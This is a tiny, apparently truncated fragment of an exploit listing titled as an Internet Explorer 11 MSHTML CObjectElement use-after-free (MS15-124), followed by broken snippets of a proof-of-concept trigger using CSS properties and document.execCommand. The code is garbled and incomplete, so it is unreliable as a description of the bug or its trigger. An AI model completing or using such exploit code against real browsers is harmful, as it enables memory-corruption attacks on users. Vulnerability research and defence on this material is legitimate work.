Microsoft Internet Explorer 11 - MSHTML!CObjectElement Use-After-Free (MS15-124)

small -ms-block-progression: lr; -ms-filter: "vv"; function trigger document.execCommand"...